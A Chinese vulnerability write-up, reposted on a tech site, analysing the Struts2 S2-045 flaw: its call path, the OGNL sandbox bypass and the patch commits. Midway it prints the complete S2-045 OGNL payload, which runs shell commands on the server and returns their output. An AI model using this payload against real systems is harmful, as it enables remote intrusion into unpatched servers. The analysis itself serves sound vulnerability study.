您当前的位置:首页 > 电脑百科 > 程序开发 > 编程百科

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

时间:2020-06-27 11:36:31  来源:  作者:

 

Smi1e@Pentes7eam

漏洞信息:
https://cwiki.Apache.org/confluence/display/WW/S2-045

Struts2默认使用
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析。其在处理Content-Type时如果获得非预期的值的话,将会抛出一个异常,在此异常的处理中会对错误信息进行OGNL表达式解析。

 

漏洞复现

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

 

影响范围

Struts 2.3.5 - 2.3.31, Struts 2.5 - 2.5.10

 

漏洞分析

Struts 2.3.5 - 2.3.31和Struts 2.5 - 2.5.10漏洞入口不同

前者调用栈

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

在过滤器
org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilterdofilter方法中下断点,跟进this.prepare.wrapRequest(request);,它会封装request对象。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

其中会判断 content_type中是否含有字符串multipart/form-data,如果有则实例化MultiPartRequestWrApper对象,并传入对应参数来对请求进行解析。其中this.getMultiPartRequest;会去获取用来处理文件上传请求的解析类,默认是
org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest。我们可以通过配置struts.multipart.parser属性来指定不同的解析类。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

跟进 this.multi.parse(request, saveDir);,这里的this.multi就是默认的JakartaMultiPartRequest对象。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

这里由于对上传请求解析时发现错误所以会进入到下面的 catch操作中,跟进this.buildErrorMessage

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

它会调用
LocalizedTextUtil.findText处理错误信息

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

不断跟进会发现他会把message传入
TextParseUtil.translateVariables进行表达式解析。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

后面就还是以前的流程了。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

而 Struts 2.5 - 2.5.10中
org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.buildErrorMessage并没有调用
LocalizedTextUtil.findText

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

它是在拦截器 FileUploadInterceptor中调用的
LocalizedTextUtil.findText(error.getClazz, error.getTextKey,
ActionContext.getContext.getLocale, error.getDefaultMessage, error.getArgs);
从而对错误信息进行OGNL表达式解析

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

在2.3.30/2.5.2之后的版本,我们可以用来bypass黑名单过滤的 _memberAccessDefaultMemberAccess都进入到了黑名单中。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

不过个人认为沙盒修复的关键是Ognl3.0.18+和Ognl3.1.10+中 OgnlContext删除了_memberAccess这个key,从而禁止了对_memberAccess的访问。Struts2.3.30开始使用的是Ognl3.0.19,Struts2.5.2开始使用的是Ognl3.1.10。从S2-045的payload中也能看出来,直接可以执行(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS),后面才开始查看是否存在#_memberAccess


 
  1. %{(#fuck='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames.clear).(#ognlUtil.getExcludedClasses.clear).(#context.setMemberAccess(#dm)))).(#cmd='CMD').(#iswin=(@JAVA.lang.System@getProperty('os.name').toLowerCase.contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start).(#ros=(@org.apache.struts2.ServletActionContext@getResponse.getOutputStream)).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream,#ros)).(#ros.flush)}

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

在初始化了 OgnlValueStack对象后,会对OgnlValueStack对象进行依赖注入。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

这个时候会调用
com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil将黑名单添加进来赋值给OgnlValueStacksecurityMemberAccess对象

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

这里需要注意的是由于 OgnlUtil默认为singleton单例模式,因此全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项(excludedClasses、excludedPackageNames、
excludedPackageNamePatterns
)则同样会更改_memberAccess中的值。

为什么改了 OgnlUtil的值以后_memberAccess的值也会改变呢?

首先上面说过了全局的 OgnlUtil实例都共享着相同的设置。然后因为SecurityMemberAccess类的excludedClasses等属性都是集合类型

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

而在java中集合赋值时传递的是一个引用,我们对集合做的任何操作都会影响到它赋值过的变量。所以在解析Ognl表达式时,当 OgnlUtilexcludedClasses等安全属性被清空时,_memberAccess对象的excludedClasses等安全属性也直接随之被清空了。

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行

 

漏洞修复

不把报错的信息放到
LocalizedTextUtil.findText方法中去,从而保证报错的content-type不会进行OGNL表达式解析。

2.5.10.1版本修改:
https://github.com/apache/struts/commit/b06dd50af2a3319dd896bf5c2f4972d2b772cf2b

2.3.32版本修改:
https://github.com/apache/struts/commit/352306493971e7d5a756d61780d57a76eb1f519a

Struts2漏洞系列之「S2-045」上传数据异常导致的OGNL表达式执行


Tags:上传数据异常   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
Smi1e@Pentes7eam漏洞信息: https://cwiki.apache.org/confluence/display/WW/S2-045Struts2默认使用 org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类...【详细内容】
2020-06-27  Tags: 上传数据异常  点击:(231)  评论:(0)  加入收藏
▌简易百科推荐
本文分为三个等级自顶向下地分析了glibc中内存分配与回收的过程。本文不过度关注细节,因此只是分别从arena层次、bin层次、chunk层次进行图解,而不涉及有关指针的具体操作。前...【详细内容】
2021-12-28  linux技术栈    Tags:glibc   点击:(3)  评论:(0)  加入收藏
摘 要 (OF作品展示)OF之前介绍了用python实现数据可视化、数据分析及一些小项目,但基本都是后端的知识。想要做一个好看的可视化大屏,我们还要学一些前端的知识(vue),网上有很多比...【详细内容】
2021-12-27  项目与数据管理    Tags:Vue   点击:(2)  评论:(0)  加入收藏
程序是如何被执行的  程序是如何被执行的?许多开发者可能也没法回答这个问题,大多数人更注重的是如何编写程序,却不会太注意编写好的程序是如何被运行,这并不是一个好...【详细内容】
2021-12-23  IT学习日记    Tags:程序   点击:(9)  评论:(0)  加入收藏
阅读收获✔️1. 了解单点登录实现原理✔️2. 掌握快速使用xxl-sso接入单点登录功能一、早期的多系统登录解决方案 单系统登录解决方案的核心是cookie,cookie携带会话id在浏览器...【详细内容】
2021-12-23  程序yuan    Tags:单点登录(   点击:(8)  评论:(0)  加入收藏
下载Eclipse RCP IDE如果你电脑上还没有安装Eclipse,那么请到这里下载对应版本的软件进行安装。具体的安装步骤就不在这赘述了。创建第一个标准Eclipse RCP应用(总共分为六步)1...【详细内容】
2021-12-22  阿福ChrisYuan    Tags:RCP应用   点击:(7)  评论:(0)  加入收藏
今天想简单聊一聊 Token 的 Value Capture,就是币的价值问题。首先说明啊,这个话题包含的内容非常之光,Token 的经济学设计也可以包含诸多问题,所以几乎不可能把这个问题说的清...【详细内容】
2021-12-21  唐少华TSH    Tags:Token   点击:(10)  评论:(0)  加入收藏
实现效果:假如有10条数据,分组展示,默认在当前页面展示4个,点击换一批,从第5个开始继续展示,到最后一组,再重新返回到第一组 data() { return { qList: [], //处理后...【详细内容】
2021-12-17  Mason程    Tags:VUE   点击:(14)  评论:(0)  加入收藏
什么是性能调优?(what) 为什么需要性能调优?(why) 什么时候需要性能调优?(when) 什么地方需要性能调优?(where) 什么时候来进行性能调优?(who) 怎么样进行性能调优?(How) 硬件配...【详细内容】
2021-12-16  软件测试小p    Tags:性能调优   点击:(20)  评论:(0)  加入收藏
Tasker 是一款适用于 Android 设备的高级自动化应用,它可以通过脚本让重复性的操作自动运行,提高效率。 不知道从哪里听说的抖音 app 会导致 OLED 屏幕烧屏。于是就现学现卖,自...【详细内容】
2021-12-15  ITBang    Tags:抖音防烧屏   点击:(25)  评论:(0)  加入收藏
11 月 23 日,Rust Moderation Team(审核团队)在 GitHub 上发布了辞职公告,即刻生效。根据公告,审核团队集体辞职是为了抗议 Rust 核心团队(Core team)在执行社区行为准则和标准上...【详细内容】
2021-12-15  InfoQ    Tags:Rust   点击:(25)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条